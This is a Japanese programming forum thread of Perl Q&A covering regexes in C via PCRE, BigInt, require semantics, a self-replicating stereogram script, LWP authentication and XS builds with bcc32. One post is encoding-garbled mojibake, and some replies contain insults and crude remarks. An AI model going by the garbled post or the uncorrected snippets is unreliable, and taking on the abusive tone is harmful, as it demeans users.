ただし、途中で \0 (NUL) が見つかったらバイナリ扱い。
というわけで、ISO-2022-JP だと安全です。

>>289 具体的には pp_sys.c を見てください。
マニュアルに載っていたかもしれないけど、探すの面倒。B-)

あ、しまった。サーバ変わっていたから名無しになってしまった。

> >>289 具体的には pp_sys.c を見てください。
は誤爆です。失礼。

？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？
？どれくらいの事ができたら「脱初心者」といえるのでしょうか？
？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？

黙ってコード書きなさい。

？？？？？？？？？？？？？？？？？？？？？？？？？？
？どれくらいの事ができたら「脱初心者」といえるのでしょうか？
？？？？？？？？？？？？？？？？？？？？？？？？？？

マジレスお願いします！！！！！！！！！！！！！！！！！！！！！！！！！！１

初心者ばっかりですかココは？

？？？？？？？？？？？？？？？？？？？？？？？？？？
？どれくらいの事ができたら「上級者」といえるのでしょうか？
？？？？？？？？？？？？？？？？？？？？？？？？？？

教えて！

>>お馬鹿さん
あのねぇ、この板は人少ないから何か書いたからって２．３分でガリガリレス
付かないの、何回も同じ事書かないでくれるかな?
Perlコミュニティーに貢献出来ればもう初心者では無いでしょう、それはモジュールの
提供とかでも良いし、BBSで誰かの質問に答えてあげる事でも良い、
質問する側であったとしても、その問題の展開と結果を書くことが出来れば
それは後に続く人にとって役立つかも知れない。
「ああ、ネットが有るから助かってるなー、本だけじゃもっと手間取ってただろな・・」
こんな風に感じる時がきっとある筈、
つまり、
「ちょうだい！！！」「おしえて！！！」「はやくしてください！！！」
「？？？？？？」
こう言う人と正反対の行動をとれば良いんです。　解りやすいですね?

マジレスすんな、アホは放置しようぜ。
結局まともに文章かけないんだよこの手の輩は

ちょとカテゴリ違いか（プログラム版の画像処理系のほうが良い？）とも
思ったのですが、こちらの方に質問させてもらいます。

文章でいうよりも、見ていただいたほうが話が早いと思うのですが、
例えば、「とほほ」氏のページをGOOで検索しますと、

http://search.goo.ne.jp/search/search.jsp?MT=%A4%C8%A4%DB%A4%DB&SM=MC&DC=10&FR=1&IM=1&BOPE=88&LEVEL=8

となります。ページをよくみると、それぞれのWEBの小さなスクリーンショットがあります。

ロボット自動巡回時（もしくは巡回で集めてきたサイト）を自動でスクリーン
ショットで撮っていると思うのですが、こういうのってどのようにやるのでしょう？

スクリプトで、URL を Netscape などに投げて、それをImageMagickで
加工すれば何とかなる気がするのですが、それでは、常時Xを立ち上げている
必要があり、WEB上で使うには今一つです。（というか普通ほとんどのサーバは
Xは立ち上がってないので。。。）

何か視点を切り替えて、Perlでこう言う風にすればああいうのが実現できるのでは？
というのがあれば、アドバイスいただきたいです。
よろしくお願いします。

>>301
wget で画像を DL したら Perl の ImageMagick モジュールか GD モジュールで縮小。
X 使わなくても全てスクリプトの中だけで済む。

>>302
ネタか？

>>301
mozillaのレイアウトエンジンでGeckoってのがあると聞いたけど
あれはPerlから呼び出したりできないのかなー。

＃mozilla.orgのGeckoのページ見てみたけど全然わからず。

ううん。不可能ではないだろうね。
ImageMagickの'convert'コマンドはHTMLファイルを読み込んで任意の画像フォーマットに
変換できる。その際サイズ指定でもしてやればいいのではないかな。
...とはいえ、かなり重たい処理ではあるね。しかもレイアウトは(?)
詳しくはman convertかな。
むかし、こんなソフトもあったなぁ。
http://www.vector.co.jp/magazine/softnews/990225/n9902255.html
-------
ちなみに、html2ps(HTML->PostScript/Perl)を介して変換するのもいいかな。
http://www.tdb.uu.se/~jan/html2ps.html

# ....ただ単にスクリーンショットを取るならxwd, ImageMagickのimportコマンド
# で十分なのだが。...Xを起動せずに、か。

Windows上ではwxWindows-Perl日本語表示無理っぽいね。

#...ていうか、SetFontFace()無視されてるような。

Perlから直接システムコールの呼び出し方覚えて、猿のようにつかってる
syscall.ph をreqireして、引数をpackして、
SYS_hogehoge
とかやってるけど、凄く便利
Posixモジュールつかってもいいんだけど、それには存在しない
システムコールもあるんで、
Perlのプログラミングには必須だね

>>305
ImageMagickスゲー。そんな機能もあったんですか。
＞...とはいえ、かなり重たい処理ではあるね。しかもレイアウトは(?)
この部分が気になるけど（ｗ

でも実際、HTMLもXHTMLもJavaScriptも自力ですべて解釈して
ちゃんとレイアウトするってのは、もはや一大プロジェクトが
必要でしょうなあ。
305のベクタにあるやつはIEコンポーネント使ってんのかな？

>>306
一応、メニューとかステータスバーは大丈夫なんだけど、
その他はダメっぽいですね。日本語さえ何とかなればすごく面白そうなのに・・・
http://lists.wxwindows.org/pipermail/wx-users/2000-June/002733.html
中心人物はほとんどマルチバイトに関する知識がないっぽいですね。

>>302-305 >>308

皆さんいろいろなご意見ありがとうございます。とても勉強になります。
302 さん、 305の_gunzip さんのご意見を参考にして、さらにトライ
してみようと思います。
　良い結果が出たらご報告させていただきます。

他にも何か良い案など、思いついたことなどありましたら、
随時、アドバイスを下さい。

「Perl中級コーナー」に比べて頑張るね。このスレ。

>>309
ありゃりゃ。残念。開発者側にマルチバイト対応を期待するのはちょっと無理なようですね。

ところで、今日立ち読みした「Linuxデベロッパーズバイブル」のPart3「Xプログラミング」で
60ページほど割いてGtk-Perlの利用例が解説されていますね。これを機に利用者が増えるといいのですが。

#そういえば、Gtk-Perlのチュートリアル/リファレンスの日本語訳途中までやってほったらかしにしてたな...。

wxWindows->C++ から思い出しましたが、C++からPerlライクな文字列操作を行うための
STLクラスPerlStringなんかも有りますよん。
http://www.youell.com/matt/perlstring/

>>313
標準stringクラスに軽くラッパかませただけじゃないすかー。
でも、To-Do Listに
- Regular Expression support.
と書いてますね。それやってくれたらまじ大喜びです。
＃似たようなことやろうとしたけど知力気力不足で挫折

>>314
うわ、申し訳なひ。「こんなものがあるんだなー」って中身を見ずに張ってもた。
今度から気をつけます...。

ちなみに、自分がC言語から正規表現を扱うときは、
---------------------------------------------------
PCRE - Perl Compatible Regular Expressions
http://www.pcre.org/
---------------------------------------------------を使っていますよい。ちょっと例を挙げると、htmlファイルから<a href="...">のリンクを抽出したいな、というとき、Perlでは、

perl -ne "/<a[^>]+?href\s*=\s*[\"']?([^\"' >]+?)[\"']?>/ and print qq|\$1\n|" < hoge.html
のように書きますが、PCREを利用してC言語で書くと、

/* Galeonって書き込みにくいな...。*/

#include <stdio.h>
#include <stdlib.h>
#include <pcre.h>

#define BUFSIZE 1024 * 8

/*
* cc -Wall -ansi -o exturl exturl.c -lpcre
*/

static const char *pattern = "<a[^>]+?href\\s*=\\s*[\"']?([^\"' >]+?)[\"']?>";

int main(void)
{
    pcre *regex;
    int *ovec, ovec_size;
    int i;
    int rc;
    const char *error;
    int error_offset;
    char buf[BUFSIZE];

    if ((regex = pcre_compile(pattern,
                             PCRE_CASELESS,
                             &error,

                             &error_offset,
                             NULL )) == NULL) {
        fprintf(stderr, "regular expression %s\n"
                "compilation failed at offset %d: %s\n",
                pattern, error_offset, error);
        exit(EXIT_FAILURE);
    }
    pcre_fullinfo(regex, NULL, PCRE_INFO_CAPTURECOUNT, &ovec_size);
    ovec_size = (ovec_size + 1) * 3;

    while (fgets(buf, sizeof(buf), stdin) != NULL) {
        rc = pcre_exec(regex,
                     NULL,
                     buf,

/* 変なところで切れてるなあ */
                     strlen(buf),
                     0,
                     0,
                     ovec,
                     ovec_size);
        for (i = 1; i < rc; i++) { /* $1, $2 を表示 */
            const char *strptr;
            pcre_get_substring(buf, ovec, rc, i, &strptr);
            puts(strptr);
            pcre_free_substring(strptr);
        }
    }
    exit(EXIT_SUCCESS);
}

>>315-318
それって、c言語でも、ふつうに性器氷原ライブラリincludeするだけで
いいのでは？
unixだったらosについてくるし、なければ
bsd、lgpl/gpn、pdsとかであるライブラリ使えばいいだけだし

>>319
もちろん、<regex.h>(POSIX)をincludeしてregcomp, regexec等を利用する方法くらいは知ってますよい。他にもGPL rxとかありますし。

結局C/C++で正規表現使うにはどれが好みかって問題でしょうね。
自分もこれから勉強してみたいんだけど、
pcreとregexってどっちを最初に体験するのがいいんでしょ。
それと、上の２つは実行時に動的に正規表現を展開するようだけど、
flexみたいに正規表現をCのソースに変換するタイプも
いいかなと思ってたり。

#なんかPerlの話からずれまくりsage

Ｐｅｒｌをコマンドプロンプトから使う方法を教えて！

沿い得て！
沿い得て！
沿い得て！
沿い得て！
沿い得て！
沿い得て！
沿い得て！

PERLに関係ないのだが、３１９のレスをかちゅーしゃで見て、
びっくりした。

Math::BitInt てやつを使ってみた。これ便利だねえ。
ためしに作った多倍長計算機↓

use strict;
use Math::BigInt(':constant');
my $a = "式を入力すると計算します";
while (1) {
print "$a\n＞ ";
eval '$a=' . scalar(<>);
if ($@) { ($a = $@) =~ s/ in use at.*//s }
}

同じようなことをMath::BigFloatでやるのは無理？

おしえて！！！！！

！！！！！！！！！！！！！！

http://www5.justnet.ne.jp/~ttp/

マジで教えて！！！！！！！！！！！

お願いします！

どうして教えてくれ何丘教えてください！！！！！

>wb1t8L8o
環境くらい書けや。

>>332
電波は放置でお願いします。

性器氷原。。。
まさか一発変換できたんじゃないだろうね・・・

>>334
うちは、一発目で、「生気氷原」になったよ

このスレッド終わったの？

perlのスクリプトを実行形式にコンパイルして
cでいうscanfみたいの使いたいんですが、
どうやらそれに相当するのはperlには無いらしいのです。
そこでその役割を果たすものを実装するらしいのですが
わけわかりません。
どうすれば良いのでしょうか？

perl2exe

>338
いやすみません。文章が悪かったです。
perl2exe使って実行形式にして使ってるんですが
scanfみたいので変数に値をその時々で与えたいんです。
けどscanfみたい関数が無いらしいのです。
どすれば良いでしょうか？

$data = <STDIN>;

>>340
馬鹿ですか？

>339
print '名字を入力してください：';
chomp($name1 = <STDIN>);
print '名前を入力してください：';
chomp($name2 = <STDIN>);
print "こんにちは，$name1$name2さん";
これでいかない？

試したらできました！！
ありがとうございます。
scanfそのものに感じるけど
↓MLより引用
> scanfはパールではどのように記述するのでしょうか？
相当するものはありません。scanfのperl版を実装する必要があります。

これはどういう事だったんだろ？

追記です。
cgiとして実行したらどうなんのかな？
と思って試したらやっぱり500エラーになるんですね。
勉強になるです。

scanfは入力を指定した書式に則ったものとみなして読むので
そのものではないってことなんじゃないの。
printfの入力版見たいな感じのもので。
scanf自体殆ど使わないのでよくわからんけど。

sprintfとか使えば実装できそうだね。

難しい事言うから型決めたいのかと思ったー
その辺は関係ないのかな?

CAPNにscanfを実装したモジュールがあった気がした。
goto search.cpan.org;

search.cpan.orgは行けるんだけど
モジュール取ってこれない・・・。
www.cpan.orgのほう、いまサーバ落ちてます？

型ってなんでしょ？

>>350
他の言語触れ　　ｗ

最近www.cpan.orgはよく落ちてる気がするぞ。

require ってプログラム開始時に全部ファイルから読まれるの？
それとも、その地点まで実行されて初めて読まれるの？

＞その地点まで実行されて初めて読まれるの？

たしかこっちが正解。

そそ。 だから

if ($expression) require 'jcode.pl';

とかもできる。

Dispmes('Jcode.plを入れてくださぃ') unless(require './jcode.pl');
何故かわざわざjcode捨てて設置する困ったちゃん対策

>>355-356
待て待て、二人ともそれじゃダメだって！

>>355
require 'jcode.pl' if $expression;

>>356
Dispmes('jcode.plを入れてください') unless eval{ require 'jcode.pl' };

>>357
ほんとだぁ、真しかテストしてなかた　　　ﾊｽﾞｶﾁｨ（´Д｀；） ｱﾋｬｰ
困ったちゃんは俺じゃん・・・・　　
ありがとう>>357

おーう。 ご指摘感謝

Perl/TKをWindowsで使う場合、日本語対応パッチを当てたいのですが、
Win32版のパッチの当て方が分かりません。
UNIX版のパッチの当て方しか見当たらないのですが、もしかしてWin32では
日本語使用不可ですか？

面白い話ﾊｹﾝ
http://www.mikeneko.ne.jp/~lab/perl/tuning/
こういう内部的なことを書いた日本語の文書ってあまり見ませんよね。
_gzipさんやJAPUさんあたり、暇な時に書いてくれないかなぁ。
自分も英語とCのソースが読めれば良いんだが…ﾄﾞｯﾁﾓﾀﾞﾒﾅﾝﾃﾞｽﾖ。

えーと誤解されているようですが、私はそんなに内部に詳しくありません。
たまに必要に迫られてソースを参照しますが、この手の解説は多分できません。

# JAPUTeX. ってトリップも捨てがたいな。

_gunzipたんカムバックきぼん

>>362
そうなんですか。失礼しました。
ﾍﾀﾚの私には「ソースを参照できるレベル」の方々はみな同じに見えてしまうのです(笑

やっと・・・、ベータながら5.6.1ベースのMacPerlがリリースされてます。
MacPerl 5.6.1b1
http://dev.macperl.org/

失礼、やっと・・・、ベータになりました。に修正。

>>361
gunzipさんが好きそうな話題ねん。
そいった蘊蓄聞きたい上げ。

Perl/Tk出来る人いる？
カスタムウィジェットの作り方知りたいのだけど。

>>368
Perl/TKを使ったことのない俺が言うのもなんだが
Tk::UserGuideやTk::Widgetのドキュメントは読んだのか？

すげえ！
3-D Stereogram, Self replicating source.
http://www.perlmonks.org/index.pl?node_id=118799

変態すぎ。

>>370
何なのそれ。

ほんとビクーリしたよ。ステレオグラム。
それも自分のソース使って表示。
で、そのステレオグラムであるところのPerlソースもそのまま動く。
アホ過ぎ。

最後の4行で減点。

意味わかんねーよ。

>>370
すげー。すごすぎー。ソースそのままと実行後で
ステレオグラムのパターンが変わるでしょ？
それでもスクリプトがちゃんと動くのはなぜ？
セミコロンで調節してるんか？
もちろんコードを読む気はないが。

>>375
そんでもって、実行結果の出力を更に実行すると自分自身への写像になってる。
う〜む。

>>376
その２番目以降みたいな、いわゆる「不動点プログラム」なら、
まだわかるんですよー。
オリジナルと１回目の実行結果はパターンが違うけど
ソースコードはきっちり長方形に整形されてて、
それでも動作する。ほんと、よくやるよって感じ。

分かんないしソースも読めないよぅ....(＋_＋
monksの中彷徨ってれば何か面白いのあるかなぁ....

暇なので解析した。
意外とやってることは単純。
>>375 が言う、実行後でステレオグラムが変化するというのはどいうこと？

・実際のコードは各行の14文字目まで(15文字目は削除用の目印)
・16文字目以降は15文字目までのコピー
・DATAのステレオグラムを使ってコピーするときに少し変化を加えている

#!/usr/bin/perl
# Copyright (c) Marcus Post, <[email protected]>

use strict;

# 前準備
# 本来は DATA から読んでいるが書き換えたのでファイルから。
# という大人の理由からファイルポインタを__DATA__の次に移動しておく
open(MONKS, $ARGV[0]) or die "逝ってよし!";
1 until ($_ = <MONKS>) =~ /^_/;



# 以下、実際のコード
my(@dataAreaForWork, @codeArea, @charsOfCode);

# __DATA__以降を読み込む
my @dataArea = @dataAreaForWork = <MONKS>;

# コード部分を読みこむ
seek(MONKS, 0, 0);
@codeArea = <MONKS>;
# __DATA__以降を捨てる
until (($_ = pop(@codeArea)) =~ /^_/) {};

# '__DATA__'を追加
unshift(@dataArea, $_);

# 最初の3行(コピーライトとか)を出力
foreach (1 .. 3) {
　　print shift(@codeArea);
}

foreach my $data (@dataAreaForWork) {

　　my @charsOfData = split(//, $data);

　　# 実際のコードは最初の14文字のみ
　　# 15文字目は後で削除するときの目印 |zY!%xQ のどれか
　　my $realCode = shift(@codeArea);
　　$realCode =~ s/(.{15}).*/\1/;
　　@charsOfCode = split(//, $realCode);

　　# 最初の15文字を後ろにコピーする。
　　# その際 DATA のステレオグラムを使ってちょっとランダマイズ
　　# 本当は以下のようになっているので区切り文字の , を . に変換している
　　#　 q,コード,;
　　#　 # ごみの削除とか
　　#　 eval;
　　my $i;
　　foreach my $oneOrZero (@charsOfData) {
　　　　$charsOfCode[$i + 15 - $oneOrZero] = (($charsOfCode[$i] eq ",") ? "." : $charsOfCode[$i]);
　　　　$i++;
　　}

　　# 空文字はひとつ前の文字をコピー
　　foreach my $i (1 .. 75) {
　　　　if ($charsOfCode[$i] eq '') {
　　　　　　$charsOfCode[$i] = $charsOfCode[$i - 1]
　　　　}
　　}

　　print join("", @charsOfCode);
　　print "\n";
}

print @dataArea;

何でも聞け。

$fooRef = \$foo;
と
*fooGlob = *foo;
の違いを教えてちょ、上は$だけだ、とかじゃなくて
内部でどんな風にエイリアスされるのかが知り鯛DEATH

あ、コイツ　！！！！！！！！！！連発猿じゃん　　(鬱
吐き気して来た
死ね!!

連発猿？

教えてください！！！！！！！！！！　←こう言う奴だろ?
彼は、〜〜級者、と言うキーワードに酷く敏感な様子　（ｐ　　　

むか〜し_gunzipさん（最近見かけないけど）が書いてた↓が参考になるかも。
http://www.angelfire.com/ak5/2ch-web-program/kako/979894521.html#825

CGI.pm使ってるのってどうなの？

ルーチンを関数にするののデメリットって何？

関数呼び出しは非常に時間がかかる。

ageageageage

移転age

何でも聞け。

タイムスタンプでソート
ってどうやってやるんですか？

俺に相応しいことを聞け。

my $name = 'tinko pinpin';
1)
if($name eq 'tinko pinpin') {
　cnt++;
}
--------と
2)
cnt++ if($name eq 'tinko pinpin');

をループさせて速度を測ったら
1)21 wallclock secs (20.95 usr + 0.01 sys = 20.96 CPU)
2)10 wallclock secs (10.23 usr + 0.00 sys = 10.23 CPU)
くらい違いますが、内部ではどのような処理の違いがあるんですか？
アホな私にも分かるように教えていただけませんでしょうか?

>>396
そんなことも分からんのか。とことん程度低いな(ﾜﾗ

教えて！！！！！！！！！！！！！！！！！！！！

まともなスレッドに戻れよ...。

？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？
？どれくらいの事ができたら「脱初心者」といえるのでしょうか？
？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？

>>396
どっかで見た質問。

面白いね

なにが？

なにが？

>>402
なにが？

関数の処理の不可に関する日本のサイトあれば教えて欲しいです。
こんな処理するならこんなコードがベストだよ。みたいのとかです。
あと前でてましたけどこんな処理をすると内部ではこんな事がおきてるよ。
とかでもうれしいです。

関数って言うと漠然としすぎだなあ
結局アルゴリズムだと思うからム技のこのスレはBMかな・・・
http://pc.2ch.net/test/read.cgi/tech/967778156/l50
後、Cだけど診断室とか
http://www.pro.or.jp/~fuji/mybooks/cdiag/

後半は俺も知らない、正規表現エンジンの実装とか知りたくも無いし　(汗；
ちょっとレス違いかなあ・・・

サイトではないが

前半:
Perlクックブックを読む

後半:
ソースを読む

なんて。

だれか解説キボン

だれも分からないのかなぁ。

>>408
いやそれで正しいでしょ。
結局ソース読まないと分からないことは多いし。

ま、個々の関数の処理効率なんかよりも、
書くプログラムのアルゴリズムが最適かどうかの方が、
全体の速度にはるかに寄与する。
アルゴリズムが最適でさらに速度を求めるならインライン C で書くべし。

>>406
Perlメモ
http://www.din.or.jp/~ohzaki/perl.htm

わかりやすい Perl チューニングの話
　　　　　　　　　　　　　　ミケネコ研究所
http://www.mikeneko.ne.jp/~lab/perl/tuning/

あとはログから_gunzip氏の発言拾うとか。

パールのチューンアップについてもっと知りたいです

use Benchmark;
use strict;

timethese(1, {
t1 => q{&addstr1;},
t2 => q{&addstr2;}
});

sub addstr1 {

　　　　my($str) = '_' x 1000000;
　　　　$str = '';

　　　　foreach (0 .. 1000000) {
　　　　　　　　$str .= '_';
　　　　}

}
sub addstr2 {

　　　　my($str) = '';

　　　　foreach (0 .. 1000000) {
　　　　　　　　$str .= '_';
　　　　}

}

Benchmark: timing 1 iterations of t1, t2...
t1: 2 wallclock secs ( 1.97 usr + 0.00 sys = 1.97 CPU)
(warning: too few iterations for a reliable count)
t2: 3 wallclock secs ( 2.81 usr + 0.00 sys = 2.81 CPU)
(warning: too few iterations for a reliable count)

Ｃやれば良いのに　(ﾎﾞｿｯ

んな程度の差違を気にするくらいならCで書けばいいのに。

「オブシェクト指向使えばいろいろ便利だ。」てのがよく言われてます。
掲示板程度ならオブジェクト使わないほうが効率いいんじゃないかと思うんですが，
どんな時に，どういう風に使えば便利ですか？
いいサンプルや解説ページとかあれば教えてください。

憂鬱なプログラマでも読めば、perlerならRubyやるとか
>「オブシェクト指向使えばいろいろ便利だ。」
まあこう言うのはITオヤジのレベル、オブシェクト指向で彼女は出来ないし、
オブシェクト指向で奥歯に詰まったフライドチキンのカスは取れない

>>370
何がどうすごいんだか分からないんですけど。
実行してもコードがでてくるだけだし。

>>419
平行法で見ると#!がうき出て見える。
より目(交差法)で見ると引っ込んで見える。

not 419だが

恥ずかしながら>>420のおかげで>>370がやっとわかった。
3Dってあるだろうがヴォケが！＞俺

Perlのハッシュについての情報きぼんぬ

ハッシュの何を？

naibukouzou!!!!!!!!

>>2

baka desuka?

このスレッドには、内部構造についての知識を持った人は居ません。いじょ

内部構造内部構造って女のパンツの中みたいに思ってんだな　　ﾜﾗ
リンクリスト繋いでるだけだろ？

例えが人格の卑しさを露わにしてますね（ﾌﾟ

>>428
そんなこと誰でも知ってるだろ。（爆笑）

PERL上級者くんは内部構造が大好きなんだね　　　ｹﾗｹﾗ（＾∀＾）

>>431
うん、じゃないと万年ﾍﾀﾚどまりだからね。

Effectiveあたりに載ってるので気に入らないなら
ソース読めとしか言えないなぁ・・・・
Perlは言語だけど、それ自体はCで書かれてるツールみたいなもん
だからね。
ドライバー(Perl書き)に求められるのは上手な車の運転
(常識的なコーディング作法)で、それはPerlに限った事じゃないだろ？
メカ(低レベルな内部構造)が知りたいならメカニック(C屋、asm屋)に
なってソース読むのが一番だよ

まあ、ﾏﾀｰﾘ行きまひょ。ム板みたいに荒れると嫌だし。

>>433
激しく同意

そんな事よりちょいと聞いてくれよ。
先日、OSの再インストールしたんです。WindowsME。
そしたら何故かSOSが使えなくなってるんです。
で、よく見たらなんかそ err 02 とか出力してるんです。
もうね、アホかと。馬鹿かと。
お前な、再インストール如きでエラー吐いてんじゃねーよてんじゃねーよ、ボケが。
再インストールだよ、再インストール。
なんかバックアップし忘れたファイルとかあるし。一家４人で再設定か。これは関係ねーや。
よーしCygwinフルインストールだー、とか言ってるの。これも無関係だな。
お前な、頼むから動いてくれと。
SOSはな、今まで何の問題も無く動いてたんだよ。
ActivePerlのpl2batがいつ捨てられてもおかしくない、
IOリダイレクトは出来るわパイプは繋がるわ、そんな便利さがいいんじゃねーか。バッチファイルはすっこんでろ。
で、再度ダウンロードをしてきたところ、どうやら"#command /c perl ..."だと動くんです。
そこでまたぶち切れですよ。
あのな、command /cなんてきょうび流行んねーんだよ。ボケが。
得意げな顔して何が、command /c だ。
お前は本当にcommand /cが必要なのかと問いたい。問い詰めたい。小一時間問い詰めたい。
俺、何か設定し忘れてるだけとちゃうんかと。

ﾀﾞﾚｶﾀｽｹﾃ...

あう、省略されていた。

上のような現象に困ってます。
識者の方助けてくだされ…

perl.comって頻繁に記事が追加されてるじゃないですか。
日本語でそういうことをやってるサイトってないんですか？

age

Windows上でActive Perl使ってるんですが、
Perlからドライブのボリュームラベルを取得する方法ってありますか？
今のところsystemでdirさせて得てるからダサいんでなんとかしたいっす。

>437
ﾜﾗﾀ
最後の一行が大事ですな。
漏れはわからんです。。。

>>440
Win32API

>>440
Win32API::File

うう、今だ解決の兆しなし…;-(

>>442-443
お〜、ありがとっすー
モジュール、便利なんですねぇ

新しいモジュールを書きましたが、根性も勇気もないのでCPANに登録できません。
誰かレビューしていただけないでしょうか。
レビューしていただける方がいらっしゃったら改めてここにURLを貼り付けます。

>446
誰もオメーに根性も勇気も期待してねぇーよ。CPANに
登録しねぇーならウゼェーから消えな。

>>447 ウザイ。お前こそ消えろ。
口先だけのヘタレが大きな口をきくなカスが。

>>446 例えどんな物でも、公開してフィードバックを得ようとするのは有益だと思われ。
ただ2chはどうかな...と思わないでもない。

>>446
*.pmとかmod_perl MLとかperlMLのがいいんじゃない？

普通はcomp.lang.perl.modulesと思うよ。
ただ、似たようなモジュールがないかよーく確認してね。

ここに張っても誰かレビューしてくれるとは思うよ。

>>450様ほかの厚意に甘えてうpしました。
http://home.att.ne.jp/wind/love_cats/Time-JapanHolidays-0.03.tar.gz

age

Perl5.5ってPerl5.005のこと？

あ。質問なのにsageちゃった。
ずっと疑問だったんで、誰か教えてください>>453

>>451
スキル低いので細かいところしか指定できんです(_ _)
@ISA は use base のがかっちょいいかと。
@EXPORT よりは @EXPORT_OK のほうがいいのでは？
名前空間分かれてるほうがいいって人多いと思う

>>451
read_holiday_list だけど
use Time::JapanHolidays(holidaysList => "myHolidays.list");
ってして IMPORT で呼んどいてくれるとうれしいかも。

>>451
デフォルトのデータは日本の祝日だけど中身はそうじゃないんで
Time::Holidays.pm のほうがよいのでは？
あと Holiday だけじゃなく MemorialDay もはいってるから
そういう名前もいいかも

あとね日付のデータだけど デフォルトにマージする仕掛けも欲しいです
身近な記念日とかマージして登録できるとうれしい

>>451
計算を必要とする祝日がべた書きなのがちと悲しい
ここもカスタマイズできるとうれしいなと。

451はやる気なし。

perlでグラフを書きたくて今月号のCマガのperlの連載にのってたGDGraphを
いれようと思ったのですが、ppmでinstall GDGraph としてyesを選んでも
Error installing package 'GDGraph': Could not locate a PPD file for package GDGr
aph
というエラーが出ます。
どうすればいいんですか？

>>460
http://www.geocities.co.jp/Bookend-Soseki/6187/xiaxiu/pg/5.html

>>461
perlのバージョン上げたらいけました。

ところで、451はどこいった？

LWP::UserAgent\?\?\???\????§????´?????
credentials\?\?\?\????????????°????????????????????????????????????´?°??????????±????????????????¶??¨??????????

?????¨??
\???\?192.168.0.1??admin????????\???\¶????root??\?\?\???\?pass??
credentials('192.168.0.1', 'admin', 'root', 'pass');
??\???\?????????\?\?\¨\?\???????????????
401 Unauthorized?????????????????±??????????

\?\???\?\?\???v5.6.0 built for i586-linux

LWP::UserAgentモジュールの認証に関する
credentialsメソッドがちゃんと動いていないみたいなんです。（使い方を間違ってるだけかもしれないので教えて下さい）

たとえば
サーバ192.168.0.1のadmin権限に、ユーザー名root、パスワードpassに
credentials('192.168.0.1', 'admin', 'root', 'pass');
をコールしてからリクエストを実行しても、
401 Unauthorizedしか返ってくるだけなんです。

ヴァージョンはv5.6.0 built for i586-linuxです。

マニュアルを見る限りそーいう使い方はしないぞ。
perldoc LWP::UserAgent
/credentials

$ua->credentials($netloc, $realm, $uname, $pass)
Set the user name and password to be used for a realm. It is often
more useful to specialize the get_basic_credentials() method
instead.

credentials('192.168.0.1:80', 'admin', 'root', 'pass');
というふうに、第一引数に"ホスト名:ポート"と指定したらできました。

詳しい人話題振って欲しいなage

あぼーん

436の人どうだった？ age

こんなことしてもいいんでしょうか？

sub a {
my @i = (1, 2,3,3,3,3,3,3,3,3,3,33,3,3,3,3,3,334);
return \@i;
}

my $i = &a;
print $_ foreach ( @{$i} );

一応ちゃんと動くみたいですが、
my変数と
C言語の自動変数とは全然意味が違うんでしょうか？

ok! 何の問題もなし。参照がある限り破壊されることはないよん。

動くね
何でだろ?リファレンスが有効だとスクラッチパッドって開放されないのかな････
Perlのうんちくは全然分からないや。
個人的には凄く嫌だ(ｗ

どなたか解説ｷﾎﾞﾝ

あ、有難う>472　(＾＾
でも気持ち悪いなぁ・・・・

ポインタを返しても変数は死んでるっていうほうが変だと思うけどねぇ……。
呼び出し元で使いたいからリファレンスを返すんでしょ。
使いたいものを返せばそれは使える、というのがPerl的なの。

>>473
>>472 がすでに全て解説している。

age

ぬぬ。bcc32でなんとかXSモジュールをビルド出来ないものかと
二時間ほど粘ってみたがダメだった。無念じゃ…。

>>477
どのモジュール？
mingw32とかはだめ？
あと、bcc32付属のmake使わずに、gnu makeつかえば、bcc32でもいけるかもね

makeは付属のmakeだと明らかにダメなのでMake.pm(pmake)使ってます。
問題はperl.hとperlvars.hがコンパイルエラー。

エラー E2257 C:\perl5.6.1\lib\CORE\perl.h 1755: , が必要
エラー E2257 C:\perl5.6.1\lib\CORE\perl.h 1756: , が必要
エラー E2257 C:\perl5.6.1\lib\CORE\perl.h 1757: , が必要
エラー E2257 C:\perl5.6.1\lib\CORE\perl.h 1758: , が必要
エラー E2141 C:\perl5.6.1\lib\CORE\perlvars.h 22: 宣言の構文エラー
エラー E2141 C:\perl5.6.1\lib\CORE\perlvars.h 39: 宣言の構文エラー
エラー E2141 C:\perl5.6.1\lib\CORE\perlvars.h 22: 宣言の構文エラー
エラー E2141 C:\perl5.6.1\lib\CORE\perlvars.h 39: 宣言の構文エラー

因みに

#line 1755 perl.h
typedef pthread_t perl_os_thread;

です。
他のtypedefは引っかからないのに…お手上げです。

mingw32はよくわかりません。

477,479です。

mingwはヘッダファイルのコンパイルは通りますが、
Makefileが全然ダメですね。
Config.pmのcc/ld/cppを分かる範囲で書き換えてもまだダメです。
mingwでコンパイルしたPerlがあればいいのかも…。

ふと思ったんだがPerl6の"is"演算子ってPerl5の":"演算子みたいなものなんだろうか？

>>480
bcc32は独自拡張、独自縮小が甚だしいから(GCCもだけど　^^　)
素直にCygwin入れてgcc使った方が良いような。。。。
「,」引っ掛かりなんていかにもbccが原因っぽい

>>477, 479-480

うちの(久しぶりに立ち上げた)Windows環境の場合、
Borland C++ Compiler D:/bcc55
ActivePerl5.6.1 D:/Perl
なんだけど、

1. cp, mv, rm, mkdir等の基本的なコマンドが揃っていること確認。

2. d:/bcc55/bin/coff2omf で D:/Perl/lib/CORE にある perl56.libを
perl56-omf.lib(仮称) に変換。(元のファイルは変更されない)
$ coff2omf perl56.lib perl56-omf.lib

3. D:/Perl/lib/Config.pmを以下のように修正する。(必ずバックアップをとる)

34,35c34,35
< cc='cl'
< ccflags='-nologo -O1 -MD -DNDEBUG -DWIN32 -D_CONSOLE -DNO_STRICT -DHAVE_DES_FCRYPT -DPERL_IMPLICIT_CONTEXT -DPERL_IMPLICIT_SYS -DPERL_MSVCRT_READFIX'
---
> cc='bcc32'
> ccflags='-O2 -DNDEBUG -DWIN32 -D_CONSOLE -DNO_STRICT -DHAVE_DES_FCRYPT -DPERL_IMPLICIT_CONTEXT -DPERL_IMPLICIT_SYS '

43c43
< libs=' oldnames.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib netapi32.lib uuid.lib wsock32.lib mpr.lib winmm.lib version.lib odbc32.lib odbccp32.lib msvcrt.lib'
---
> libs='import32.lib cw32i.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib netapi32.lib uuid.lib wsock32.lib mpr.lib winmm.lib version.lib odbc32.lib'

593,595c593,595
< ld='link'
